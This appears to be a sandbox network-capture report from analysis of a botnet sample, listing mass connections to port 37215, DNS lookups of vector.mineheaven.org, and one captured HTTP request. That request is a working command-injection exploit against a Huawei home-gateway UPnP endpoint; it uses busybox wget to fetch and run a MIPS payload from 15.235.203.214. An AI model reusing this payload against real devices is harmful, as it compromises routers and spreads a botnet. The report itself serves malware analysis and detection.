Jul 20, 2024 23:01:02.650396109 CEST	50563	37215	192.168.2.13	157.44.9.156
Jul 20, 2024 23:01:02.650396109 CEST	50563	37215	192.168.2.13	197.251.37.250
Jul 20, 2024 23:01:02.650397062 CEST	50563	37215	192.168.2.13	116.59.101.234
Jul 20, 2024 23:01:02.650397062 CEST	50563	37215	192.168.2.13	157.159.107.113
Jul 20, 2024 23:01:02.650415897 CEST	37215	50563	204.24.150.141	192.168.2.13
Jul 20, 2024 23:01:02.650895119 CEST	50563	37215	192.168.2.13	157.128.250.97
Jul 20, 2024 23:01:02.650895119 CEST	50563	37215	192.168.2.13	41.170.219.254
Jul 20, 2024 23:01:02.650895119 CEST	50563	37215	192.168.2.13	41.134.116.155
Jul 20, 2024 23:01:02.650895119 CEST	50563	37215	192.168.2.13	157.240.122.76
Jul 20, 2024 23:01:02.650895119 CEST	50563	37215	192.168.2.13	197.181.97.251
Jul 20, 2024 23:01:02.650895119 CEST	50563	37215	192.168.2.13	197.169.166.128
Jul 20, 2024 23:01:02.650895119 CEST	50563	37215	192.168.2.13	59.68.231.62
Jul 20, 2024 23:01:02.650895119 CEST	50563	37215	192.168.2.13	102.22.86.49
Jul 20, 2024 23:01:02.650912046 CEST	37215	37016	197.123.108.99	192.168.2.13
Jul 20, 2024 23:01:02.650917053 CEST	52869	60952	153.105.129.20	192.168.2.13
Jul 20, 2024 23:01:02.651027918 CEST	37215	53904	157.130.93.53	192.168.2.13
Jul 20, 2024 23:01:02.651393890 CEST	37215	44970	41.39.134.254	192.168.2.13
Jul 20, 2024 23:01:02.651401997 CEST	37215	51226	202.117.135.95	192.168.2.13
Jul 20, 2024 23:01:02.651632071 CEST	50563	37215	192.168.2.13	38.202.138.248
Jul 20, 2024 23:01:02.651632071 CEST	50563	37215	192.168.2.13	41.122.43.194
Jul 20, 2024 23:01:02.651633024 CEST	37016	37215	192.168.2.13	197.123.108.99
Jul 20, 2024 23:01:02.651633024 CEST	51216	37215	192.168.2.13	80.166.177.56
Jul 20, 2024 23:01:02.651633024 CEST	37288	37215	192.168.2.13	197.199.15.206
Jul 20, 2024 23:01:02.651633024 CEST	54026	37215	192.168.2.13	197.146.235.18
Jul 20, 2024 23:01:02.651633024 CEST	42890	37215	192.168.2.13	13.152.140.36
Jul 20, 2024 23:01:02.651633024 CEST	50010	37215	192.168.2.13	197.215.77.6
Jul 20, 2024 23:01:02.651976109 CEST	37215	50563	197.254.87.82	192.168.2.13
Jul 20, 2024 23:01:02.652383089 CEST	37215	50563	157.146.40.243	192.168.2.13
Jul 20, 2024 23:01:02.652709007 CEST	37215	50563	197.30.202.215	192.168.2.13
Jul 20, 2024 23:01:02.652713060 CEST	37215	50563	41.12.103.139	192.168.2.13
Jul 20, 2024 23:01:02.653038025 CEST	37215	50563	157.61.199.130	192.168.2.13
Jul 20, 2024 23:01:02.653042078 CEST	37215	32842	157.204.6.4	192.168.2.13
Jul 20, 2024 23:01:02.653804064 CEST	37215	50563	24.182.132.124	192.168.2.13
Jul 20, 2024 23:01:02.653809071 CEST	37215	50563	52.148.69.164	192.168.2.13
Jul 20, 2024 23:01:02.654401064 CEST	50563	37215	192.168.2.13	72.196.68.147
Jul 20, 2024 23:01:02.654401064 CEST	50563	37215	192.168.2.13	167.112.13.151
Jul 20, 2024 23:01:02.654401064 CEST	50563	37215	192.168.2.13	197.16.34.74
Jul 20, 2024 23:01:02.654401064 CEST	50563	37215	192.168.2.13	157.10.38.124
Jul 20, 2024 23:01:02.654401064 CEST	50563	37215	192.168.2.13	90.247.87.117
Jul 20, 2024 23:01:02.654401064 CEST	50563	37215	192.168.2.13	41.129.212.251
Jul 20, 2024 23:01:02.654401064 CEST	45408	37215	192.168.2.13	41.59.60.215
Jul 20, 2024 23:01:02.654401064 CEST	44092	37215	192.168.2.13	197.206.209.177
Jul 20, 2024 23:01:02.654516935 CEST	37215	58204	40.45.115.153	192.168.2.13
Jul 20, 2024 23:01:02.654571056 CEST	50563	37215	192.168.2.13	41.238.1.43
Jul 20, 2024 23:01:02.654571056 CEST	44146	37215	192.168.2.13	157.81.89.101
Jul 20, 2024 23:01:02.654571056 CEST	53904	37215	192.168.2.13	157.130.93.53
Jul 20, 2024 23:01:02.654571056 CEST	36402	37215	192.168.2.13	157.122.230.247
Jul 20, 2024 23:01:02.654571056 CEST	51372	37215	192.168.2.13	47.63.66.179
Jul 20, 2024 23:01:02.654571056 CEST	40674	37215	192.168.2.13	41.156.209.55
Jul 20, 2024 23:01:02.654572010 CEST	33886	37215	192.168.2.13	41.157.87.9
Jul 20, 2024 23:01:02.654572010 CEST	35908	37215	192.168.2.13	197.194.56.97
Jul 20, 2024 23:01:02.655013084 CEST	37215	54392	198.40.74.18	192.168.2.13
Jul 20, 2024 23:01:02.655128956 CEST	41164	37215	192.168.2.13	41.204.18.19
Jul 20, 2024 23:01:02.655128956 CEST	52190	37215	192.168.2.13	157.45.209.254
Jul 20, 2024 23:01:02.655128956 CEST	35738	37215	192.168.2.13	41.59.239.153
Jul 20, 2024 23:01:02.655128956 CEST	57060	37215	192.168.2.13	197.31.246.31
Jul 20, 2024 23:01:02.655128956 CEST	50563	37215	192.168.2.13	197.227.134.191
Jul 20, 2024 23:01:02.655128956 CEST	50563	37215	192.168.2.13	71.255.63.163
Jul 20, 2024 23:01:02.655128956 CEST	50563	37215	192.168.2.13	197.170.203.195
Jul 20, 2024 23:01:02.655128956 CEST	60948	37215	192.168.2.13	157.171.147.236
Jul 20, 2024 23:01:02.655411005 CEST	37215	50563	136.164.30.219	192.168.2.13
Jul 20, 2024 23:01:02.655493021 CEST	37215	50563	48.118.129.32	192.168.2.13
Jul 20, 2024 23:01:02.656163931 CEST	37215	50563	157.218.144.231	192.168.2.13
Jul 20, 2024 23:01:02.656167984 CEST	37215	50563	157.212.52.116	192.168.2.13
Jul 20, 2024 23:01:02.656177044 CEST	37215	50563	119.232.251.136	192.168.2.13
Jul 20, 2024 23:01:02.657006025 CEST	37215	44146	157.81.89.101	192.168.2.13
Jul 20, 2024 23:01:02.657010078 CEST	37215	57420	41.235.172.174	192.168.2.13
Jul 20, 2024 23:01:02.657320976 CEST	37215	54996	197.141.132.83	192.168.2.13
Jul 20, 2024 23:01:02.658093929 CEST	37215	37016	197.123.108.99	192.168.2.13
Jul 20, 2024 23:01:02.658098936 CEST	37215	40330	157.137.243.27	192.168.2.13
Jul 20, 2024 23:01:02.658107042 CEST	37215	51216	80.166.177.56	192.168.2.13
Jul 20, 2024 23:01:02.658823967 CEST	37215	37288	197.199.15.206	192.168.2.13
Jul 20, 2024 23:01:02.658828020 CEST	37215	55636	197.95.163.59	192.168.2.13
Jul 20, 2024 23:01:02.659013987 CEST	37215	54026	197.146.235.18	192.168.2.13
Jul 20, 2024 23:01:02.659018993 CEST	37215	36476	157.141.29.177	192.168.2.13
Jul 20, 2024 23:01:02.659027100 CEST	37215	42890	13.152.140.36	192.168.2.13
Jul 20, 2024 23:01:02.659075022 CEST	49966	37215	192.168.2.13	197.13.115.180
Jul 20, 2024 23:01:02.659075022 CEST	41910	37215	192.168.2.13	197.25.72.152
Jul 20, 2024 23:01:02.659075022 CEST	34612	37215	192.168.2.13	197.189.139.115
Jul 20, 2024 23:01:02.659075022 CEST	52314	37215	192.168.2.13	197.140.115.231
Jul 20, 2024 23:01:02.659075022 CEST	38052	37215	192.168.2.13	41.195.201.112
Jul 20, 2024 23:01:02.659075022 CEST	42080	37215	192.168.2.13	197.107.200.173
Jul 20, 2024 23:01:02.659075022 CEST	43498	37215	192.168.2.13	197.68.211.95
Jul 20, 2024 23:01:02.659075022 CEST	50563	37215	192.168.2.13	107.251.166.175
Jul 20, 2024 23:01:02.659967899 CEST	37215	53990	197.111.92.249	192.168.2.13
Jul 20, 2024 23:01:02.659971952 CEST	37215	46242	197.182.149.227	192.168.2.13
Jul 20, 2024 23:01:02.660197020 CEST	37215	49892	159.11.170.80	192.168.2.13
Jul 20, 2024 23:01:02.660201073 CEST	37215	58268	125.16.244.96	192.168.2.13
Jul 20, 2024 23:01:02.660209894 CEST	37215	50010	197.215.77.6	192.168.2.13
Jul 20, 2024 23:01:02.660367966 CEST	50563	37215	192.168.2.13	41.142.55.24
Jul 20, 2024 23:01:02.660367966 CEST	50563	37215	192.168.2.13	157.124.222.152
Jul 20, 2024 23:01:02.660367966 CEST	50563	37215	192.168.2.13	197.129.119.210
Jul 20, 2024 23:01:02.660367966 CEST	50563	37215	192.168.2.13	197.34.233.134
Jul 20, 2024 23:01:02.660367966 CEST	50563	37215	192.168.2.13	197.19.127.182
Jul 20, 2024 23:01:02.660367966 CEST	50563	37215	192.168.2.13	157.124.109.67
Jul 20, 2024 23:01:02.660367966 CEST	50563	37215	192.168.2.13	57.248.5.21
Jul 20, 2024 23:01:02.660367966 CEST	50563	37215	192.168.2.13	48.21.122.135
Jul 20, 2024 23:01:02.660648108 CEST	37215	34612	197.189.139.115	192.168.2.13
Jul 20, 2024 23:01:02.660653114 CEST	37215	54014	157.18.137.5	192.168.2.13
Jul 20, 2024 23:01:02.660661936 CEST	37215	52314	197.140.115.231	192.168.2.13
Jul 20, 2024 23:01:02.660911083 CEST	37215	38052	41.195.201.112	192.168.2.13
Jul 20, 2024 23:01:02.660916090 CEST	37215	42080	197.107.200.173	192.168.2.13
Jul 20, 2024 23:01:02.660923958 CEST	37215	43498	197.68.211.95	192.168.2.13
Jul 20, 2024 23:01:02.661068916 CEST	50563	37215	192.168.2.13	197.225.129.12
Jul 20, 2024 23:01:02.661068916 CEST	50563	37215	192.168.2.13	157.1.222.107
Jul 20, 2024 23:01:02.661070108 CEST	50563	37215	192.168.2.13	157.189.0.169
Jul 20, 2024 23:01:02.661070108 CEST	33836	37215	192.168.2.13	90.118.180.212
Jul 20, 2024 23:01:02.661070108 CEST	51910	37215	192.168.2.13	157.125.89.203
Jul 20, 2024 23:01:02.661070108 CEST	40374	37215	192.168.2.13	197.186.137.146
Jul 20, 2024 23:01:02.661070108 CEST	47232	37215	192.168.2.13	157.38.182.214
Jul 20, 2024 23:01:02.661070108 CEST	52570	37215	192.168.2.13	14.89.47.143
Jul 20, 2024 23:01:02.661184072 CEST	37215	50563	197.33.14.231	192.168.2.13
Jul 20, 2024 23:01:02.661189079 CEST	37215	50563	157.128.250.97	192.168.2.13
Jul 20, 2024 23:01:02.661196947 CEST	37215	50563	157.213.234.230	192.168.2.13
Jul 20, 2024 23:01:02.661201000 CEST	37215	44146	157.81.89.101	192.168.2.13
Jul 20, 2024 23:01:02.661853075 CEST	37215	50563	197.229.216.252	192.168.2.13
Jul 20, 2024 23:01:02.661856890 CEST	37215	50563	41.46.204.80	192.168.2.13
Jul 20, 2024 23:01:02.661865950 CEST	37215	34900	147.21.178.207	192.168.2.13
Jul 20, 2024 23:01:02.662822008 CEST	37215	53904	157.130.93.53	192.168.2.13
Jul 20, 2024 23:01:02.662929058 CEST	37215	36402	157.122.230.247	192.168.2.13
Jul 20, 2024 23:01:02.662934065 CEST	37215	50563	41.32.21.232	192.168.2.13
Jul 20, 2024 23:01:02.663337946 CEST	43958	37215	192.168.2.13	41.68.213.107
Jul 20, 2024 23:01:02.663337946 CEST	50563	37215	192.168.2.13	192.246.252.239
Jul 20, 2024 23:01:02.663337946 CEST	50563	37215	192.168.2.13	197.44.205.192
Jul 20, 2024 23:01:02.663337946 CEST	50563	37215	192.168.2.13	157.194.70.24
Jul 20, 2024 23:01:02.663337946 CEST	50563	37215	192.168.2.13	64.22.245.87
Jul 20, 2024 23:01:02.663337946 CEST	50563	37215	192.168.2.13	197.128.163.83
Jul 20, 2024 23:01:02.663337946 CEST	50563	37215	192.168.2.13	157.229.35.91
Jul 20, 2024 23:01:02.663337946 CEST	50563	37215	192.168.2.13	41.68.239.0
Jul 20, 2024 23:01:02.663619995 CEST	44900	37215	192.168.2.13	197.77.114.34
Jul 20, 2024 23:01:02.663619995 CEST	50563	37215	192.168.2.13	197.244.115.244
Jul 20, 2024 23:01:02.663619995 CEST	46242	37215	192.168.2.13	197.182.149.227
Jul 20, 2024 23:01:02.663619995 CEST	55636	37215	192.168.2.13	197.95.163.59
Jul 20, 2024 23:01:02.663619995 CEST	54392	37215	192.168.2.13	198.40.74.18
Jul 20, 2024 23:01:02.663620949 CEST	59198	37215	192.168.2.13	41.60.18.93
Jul 20, 2024 23:01:02.663620949 CEST	50563	37215	192.168.2.13	157.115.29.35
Jul 20, 2024 23:01:02.663620949 CEST	50563	37215	192.168.2.13	197.9.6.150
Jul 20, 2024 23:01:02.663743019 CEST	37215	50563	41.170.219.254	192.168.2.13
Jul 20, 2024 23:01:02.663748026 CEST	37215	50563	41.229.240.163	192.168.2.13
Jul 20, 2024 23:01:02.663757086 CEST	37215	50563	41.134.116.155	192.168.2.13
Jul 20, 2024 23:01:02.663889885 CEST	50563	37215	192.168.2.13	41.158.116.181
Jul 20, 2024 23:01:02.663889885 CEST	50563	37215	192.168.2.13	41.162.230.119
Jul 20, 2024 23:01:02.663889885 CEST	50563	37215	192.168.2.13	52.71.211.62
Jul 20, 2024 23:01:02.663889885 CEST	37480	37215	192.168.2.13	157.252.104.249
Jul 20, 2024 23:01:02.663889885 CEST	47084	37215	192.168.2.13	197.151.215.75
Jul 20, 2024 23:01:02.663889885 CEST	59616	37215	192.168.2.13	41.104.162.59
Jul 20, 2024 23:01:02.663889885 CEST	60632	37215	192.168.2.13	201.248.6.28
Jul 20, 2024 23:01:02.663889885 CEST	48126	37215	192.168.2.13	197.30.140.44
Jul 20, 2024 23:01:02.664014101 CEST	37215	41164	41.204.18.19	192.168.2.13
Jul 20, 2024 23:01:02.664107084 CEST	37215	40544	197.206.115.125	192.168.2.13
Jul 20, 2024 23:01:02.664112091 CEST	37215	52190	157.45.209.254	192.168.2.13
Jul 20, 2024 23:01:02.664649963 CEST	37215	34794	197.74.4.205	192.168.2.13
Jul 20, 2024 23:01:02.664655924 CEST	37215	44092	197.206.209.177	192.168.2.13
Jul 20, 2024 23:01:02.664664030 CEST	37215	43958	41.68.213.107	192.168.2.13
Jul 20, 2024 23:01:02.665008068 CEST	37215	41644	197.214.26.254	192.168.2.13
Jul 20, 2024 23:01:02.665013075 CEST	37215	51372	47.63.66.179	192.168.2.13
Jul 20, 2024 23:01:02.665021896 CEST	37215	50563	157.44.9.156	192.168.2.13
Jul 20, 2024 23:01:02.665286064 CEST	37215	50563	41.203.141.163	192.168.2.13
Jul 20, 2024 23:01:02.665291071 CEST	37215	50563	197.251.37.250	192.168.2.13
Jul 20, 2024 23:01:02.665299892 CEST	37215	50563	157.200.55.19	192.168.2.13
Jul 20, 2024 23:01:02.665376902 CEST	37215	50563	116.59.101.234	192.168.2.13
Jul 20, 2024 23:01:02.665899992 CEST	37215	50563	157.240.122.76	192.168.2.13
Jul 20, 2024 23:01:02.665973902 CEST	37215	50563	41.142.55.24	192.168.2.13
Jul 20, 2024 23:01:02.665982962 CEST	37215	50563	157.159.107.113	192.168.2.13
Jul 20, 2024 23:01:02.665987015 CEST	37215	49966	197.13.115.180	192.168.2.13
Jul 20, 2024 23:01:02.666162968 CEST	37215	45408	41.59.60.215	192.168.2.13
Jul 20, 2024 23:01:02.666305065 CEST	37215	40674	41.156.209.55	192.168.2.13
Jul 20, 2024 23:01:02.666496992 CEST	37215	35738	41.59.239.153	192.168.2.13
Jul 20, 2024 23:01:02.666501999 CEST	37215	41910	197.25.72.152	192.168.2.13
Jul 20, 2024 23:01:02.666631937 CEST	50563	37215	192.168.2.13	197.63.41.204
Jul 20, 2024 23:01:02.666631937 CEST	50563	37215	192.168.2.13	68.253.175.96
Jul 20, 2024 23:01:02.666631937 CEST	55314	37215	192.168.2.13	197.75.142.184
Jul 20, 2024 23:01:02.666631937 CEST	50408	37215	192.168.2.13	41.174.42.115
Jul 20, 2024 23:01:02.666631937 CEST	41644	37215	192.168.2.13	197.214.26.254
Jul 20, 2024 23:01:02.666631937 CEST	50563	37215	192.168.2.13	41.100.97.180
Jul 20, 2024 23:01:02.666631937 CEST	50563	37215	192.168.2.13	157.51.71.157
Jul 20, 2024 23:01:02.666631937 CEST	50563	37215	192.168.2.13	197.65.194.196
Jul 20, 2024 23:01:02.666902065 CEST	37215	50563	157.124.222.152	192.168.2.13
Jul 20, 2024 23:01:02.667463064 CEST	37215	50563	197.181.97.251	192.168.2.13
Jul 20, 2024 23:01:02.667541027 CEST	37215	50563	197.225.129.12	192.168.2.13
Jul 20, 2024 23:01:02.667712927 CEST	39376	37215	192.168.2.13	41.79.65.151
Jul 20, 2024 23:01:02.667712927 CEST	42426	37215	192.168.2.13	157.28.17.113
Jul 20, 2024 23:01:02.667712927 CEST	46610	37215	192.168.2.13	221.202.160.22
Jul 20, 2024 23:01:02.667712927 CEST	50563	37215	192.168.2.13	197.227.194.127
Jul 20, 2024 23:01:02.667712927 CEST	50563	37215	192.168.2.13	41.187.162.151
Jul 20, 2024 23:01:02.667712927 CEST	50563	37215	192.168.2.13	157.118.104.78
Jul 20, 2024 23:01:02.667712927 CEST	50563	37215	192.168.2.13	197.14.127.162
Jul 20, 2024 23:01:02.667712927 CEST	50563	37215	192.168.2.13	197.171.243.37
Jul 20, 2024 23:01:02.667731047 CEST	37215	34612	197.189.139.115	192.168.2.13
Jul 20, 2024 23:01:02.667736053 CEST	37215	33886	41.157.87.9	192.168.2.13
Jul 20, 2024 23:01:02.667745113 CEST	37215	57060	197.31.246.31	192.168.2.13
Jul 20, 2024 23:01:02.668019056 CEST	37215	50563	157.1.222.107	192.168.2.13
Jul 20, 2024 23:01:02.668591976 CEST	8081	58112	200.82.236.203	192.168.2.13
Jul 20, 2024 23:01:02.668662071 CEST	37215	33622	41.215.54.255	192.168.2.13
Jul 20, 2024 23:01:02.668667078 CEST	37215	47378	157.12.134.58	192.168.2.13
Jul 20, 2024 23:01:02.668833971 CEST	37215	44092	197.206.209.177	192.168.2.13
Jul 20, 2024 23:01:02.668838024 CEST	37215	52314	197.140.115.231	192.168.2.13
Jul 20, 2024 23:01:02.668847084 CEST	37215	35908	197.194.56.97	192.168.2.13
Jul 20, 2024 23:01:02.668855906 CEST	37215	38052	41.195.201.112	192.168.2.13
Jul 20, 2024 23:01:02.669296980 CEST	37215	44900	197.77.114.34	192.168.2.13
Jul 20, 2024 23:01:02.669353962 CEST	37215	42080	197.107.200.173	192.168.2.13
Jul 20, 2024 23:01:02.669608116 CEST	37176	37215	192.168.2.13	41.119.197.216
Jul 20, 2024 23:01:02.669609070 CEST	38878	37215	192.168.2.13	41.66.205.159
Jul 20, 2024 23:01:02.669609070 CEST	50568	80	192.168.2.13	95.158.7.56
Jul 20, 2024 23:01:02.669609070 CEST	54416	37215	192.168.2.13	92.31.50.53
Jul 20, 2024 23:01:02.669609070 CEST	45550	37215	192.168.2.13	41.45.233.5
Jul 20, 2024 23:01:02.669609070 CEST	32890	37215	192.168.2.13	41.184.93.79
Jul 20, 2024 23:01:02.669609070 CEST	48326	37215	192.168.2.13	70.116.57.7
Jul 20, 2024 23:01:02.669609070 CEST	46646	37215	192.168.2.13	125.124.24.16
Jul 20, 2024 23:01:02.670156002 CEST	37215	50563	157.189.0.169	192.168.2.13
Jul 20, 2024 23:01:02.670597076 CEST	37215	50563	197.129.119.210	192.168.2.13
Jul 20, 2024 23:01:02.670600891 CEST	37215	33836	90.118.180.212	192.168.2.13
Jul 20, 2024 23:01:02.670722008 CEST	37215	43498	197.68.211.95	192.168.2.13
Jul 20, 2024 23:01:02.670727015 CEST	37215	46242	197.182.149.227	192.168.2.13
Jul 20, 2024 23:01:02.670872927 CEST	50563	37215	192.168.2.13	157.201.209.22
Jul 20, 2024 23:01:02.670872927 CEST	56938	37215	192.168.2.13	41.101.96.17
Jul 20, 2024 23:01:02.670872927 CEST	50563	37215	192.168.2.13	157.107.109.24
Jul 20, 2024 23:01:02.670874119 CEST	50563	37215	192.168.2.13	197.87.252.139
Jul 20, 2024 23:01:02.670874119 CEST	50563	37215	192.168.2.13	157.134.213.71
Jul 20, 2024 23:01:02.670874119 CEST	50563	37215	192.168.2.13	72.130.2.96
Jul 20, 2024 23:01:02.670874119 CEST	50563	37215	192.168.2.13	41.57.52.90
Jul 20, 2024 23:01:02.670874119 CEST	50563	37215	192.168.2.13	54.185.48.82
Jul 20, 2024 23:01:02.671331882 CEST	37215	43958	41.68.213.107	192.168.2.13
Jul 20, 2024 23:01:02.671335936 CEST	37215	55636	197.95.163.59	192.168.2.13
Jul 20, 2024 23:01:02.671406031 CEST	37215	54392	198.40.74.18	192.168.2.13
Jul 20, 2024 23:01:02.671916962 CEST	37215	59198	41.60.18.93	192.168.2.13
Jul 20, 2024 23:01:02.672215939 CEST	41860	37215	192.168.2.13	140.242.21.87
Jul 20, 2024 23:01:02.672215939 CEST	43246	37215	192.168.2.13	157.181.19.73
Jul 20, 2024 23:01:02.672215939 CEST	41902	37215	192.168.2.13	197.80.112.192
Jul 20, 2024 23:01:02.672215939 CEST	59794	37215	192.168.2.13	157.122.210.70
Jul 20, 2024 23:01:02.672215939 CEST	47378	37215	192.168.2.13	157.12.134.58
Jul 20, 2024 23:01:02.672215939 CEST	34794	37215	192.168.2.13	197.74.4.205
Jul 20, 2024 23:01:02.672215939 CEST	50563	37215	192.168.2.13	157.209.226.140
Jul 20, 2024 23:01:02.672215939 CEST	50563	37215	192.168.2.13	197.37.15.75
Jul 20, 2024 23:01:02.672637939 CEST	50563	37215	192.168.2.13	89.134.224.37
Jul 20, 2024 23:01:02.672637939 CEST	50563	37215	192.168.2.13	157.195.163.54
Jul 20, 2024 23:01:02.672637939 CEST	50563	37215	192.168.2.13	157.4.224.138
Jul 20, 2024 23:01:02.672786951 CEST	37215	51910	157.125.89.203	192.168.2.13
Jul 20, 2024 23:01:02.672791004 CEST	37215	40374	197.186.137.146	192.168.2.13
Jul 20, 2024 23:01:02.672800064 CEST	37215	60948	157.171.147.236	192.168.2.13
Jul 20, 2024 23:01:02.672804117 CEST	37215	37480	157.252.104.249	192.168.2.13
Jul 20, 2024 23:01:02.672977924 CEST	37215	39376	41.79.65.151	192.168.2.13
Jul 20, 2024 23:01:02.673541069 CEST	37215	47084	197.151.215.75	192.168.2.13
Jul 20, 2024 23:01:02.673546076 CEST	37215	42426	157.28.17.113	192.168.2.13
Jul 20, 2024 23:01:02.673553944 CEST	37215	55314	197.75.142.184	192.168.2.13
Jul 20, 2024 23:01:02.673938036 CEST	50563	37215	192.168.2.13	41.131.198.147
Jul 20, 2024 23:01:02.673938036 CEST	50563	37215	192.168.2.13	41.121.86.14
Jul 20, 2024 23:01:02.673938036 CEST	36190	37215	192.168.2.13	91.112.89.216
Jul 20, 2024 23:01:02.673938036 CEST	50563	37215	192.168.2.13	41.25.250.179
Jul 20, 2024 23:01:02.673938036 CEST	50563	37215	192.168.2.13	197.213.86.1
Jul 20, 2024 23:01:02.673938036 CEST	54190	37215	192.168.2.13	41.151.30.29
Jul 20, 2024 23:01:02.674237967 CEST	52869	39292	220.26.7.227	192.168.2.13
Jul 20, 2024 23:01:02.674242973 CEST	37215	47232	157.38.182.214	192.168.2.13
Jul 20, 2024 23:01:02.674252987 CEST	37215	50563	197.34.233.134	192.168.2.13
Jul 20, 2024 23:01:02.674387932 CEST	37215	50563	197.169.166.128	192.168.2.13
Jul 20, 2024 23:01:02.674392939 CEST	37215	50563	197.19.127.182	192.168.2.13
Jul 20, 2024 23:01:02.674880028 CEST	50563	37215	192.168.2.13	157.80.115.106
Jul 20, 2024 23:01:02.674880981 CEST	37215	52570	14.89.47.143	192.168.2.13
Jul 20, 2024 23:01:02.674880028 CEST	44020	37215	192.168.2.13	132.227.49.42
Jul 20, 2024 23:01:02.674880028 CEST	50563	37215	192.168.2.13	41.97.50.199
Jul 20, 2024 23:01:02.674880028 CEST	50563	37215	192.168.2.13	157.36.58.9
Jul 20, 2024 23:01:02.674880028 CEST	50563	37215	192.168.2.13	197.74.10.241

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 20, 2024 23:00:58.633253098 CEST	192.168.2.13	8.8.8.8	0x4d35	Standard query (0)	vector.mineheaven.org	A (IP address)	IN (0x0001)	false
Jul 20, 2024 23:01:07.513674021 CEST	192.168.2.13	8.8.8.8	0x5c53	Standard query (0)	vector.mineheaven.org	A (IP address)	IN (0x0001)	false
Jul 20, 2024 23:01:15.556005955 CEST	192.168.2.13	8.8.8.8	0xf61	Standard query (0)	vector.mineheaven.org	A (IP address)	IN (0x0001)	false
Jul 20, 2024 23:01:24.482037067 CEST	192.168.2.13	8.8.8.8	0xf801	Standard query (0)	vector.mineheaven.org	A (IP address)	IN (0x0001)	false
Jul 20, 2024 23:01:25.601484060 CEST	192.168.2.13	8.8.8.8	0xef12	Standard query (0)	vector.mineheaven.org	A (IP address)	IN (0x0001)	false
Jul 20, 2024 23:01:32.107225895 CEST	192.168.2.13	8.8.8.8	0xe0d3	Standard query (0)	vector.mineheaven.org	A (IP address)	IN (0x0001)	false
Jul 20, 2024 23:01:36.778072119 CEST	192.168.2.13	8.8.8.8	0x510a	Standard query (0)	vector.mineheaven.org	A (IP address)	IN (0x0001)	false
Jul 20, 2024 23:01:41.004121065 CEST	192.168.2.13	8.8.8.8	0x4f94	Standard query (0)	vector.mineheaven.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jul 20, 2024 23:00:58.646095991 CEST	8.8.8.8	192.168.2.13	0x4d35	No error (0)	vector.mineheaven.org	15.235.203.214	A (IP address)	IN (0x0001)	false
Jul 20, 2024 23:01:07.531759977 CEST	8.8.8.8	192.168.2.13	0x5c53	No error (0)	vector.mineheaven.org	15.235.203.214	A (IP address)	IN (0x0001)	false
Jul 20, 2024 23:01:16.429548979 CEST	8.8.8.8	192.168.2.13	0xf61	No error (0)	vector.mineheaven.org	15.235.203.214	A (IP address)	IN (0x0001)	false
Jul 20, 2024 23:01:24.500040054 CEST	8.8.8.8	192.168.2.13	0xf801	No error (0)	vector.mineheaven.org	15.235.203.214	A (IP address)	IN (0x0001)	false
Jul 20, 2024 23:01:25.732445955 CEST	8.8.8.8	192.168.2.13	0xef12	No error (0)	vector.mineheaven.org	15.235.203.214	A (IP address)	IN (0x0001)	false
Jul 20, 2024 23:01:32.115165949 CEST	8.8.8.8	192.168.2.13	0xe0d3	No error (0)	vector.mineheaven.org	15.235.203.214	A (IP address)	IN (0x0001)	false
Jul 20, 2024 23:01:36.785541058 CEST	8.8.8.8	192.168.2.13	0x510a	No error (0)	vector.mineheaven.org	15.235.203.214	A (IP address)	IN (0x0001)	false
Jul 20, 2024 23:01:41.011348963 CEST	8.8.8.8	192.168.2.13	0x4f94	No error (0)	vector.mineheaven.org	15.235.203.214	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.13	35940	157.3.21.190	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.019395113 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
